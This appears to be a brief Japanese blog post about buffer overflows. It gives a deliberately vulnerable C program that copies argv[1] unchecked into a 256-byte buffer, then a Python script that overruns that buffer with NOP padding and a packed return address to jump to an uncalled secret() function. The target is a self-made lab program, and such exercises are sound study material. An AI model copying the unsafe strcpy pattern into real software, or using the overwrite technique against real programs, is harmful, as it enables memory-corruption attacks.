buffer overflow
buffer overflow面白い。いつか解説書きたい。
#include <stdio.h> #include <string.h> int secret(); int main(int argc, char **argv) { char buffer[256]; strcpy(buffer, argv[1]); printf("%s", buffer); return 0; } int secret() { puts("secret code"); return 0; }
#!/usr/bin/env python import os import struct def main(): ret = struct.pack('<L', 0x004010BA) nopsled = '\x90' * 268 os.system('test.exe '+nopsled+ret[:-1]) if __name__ == '__main__': main()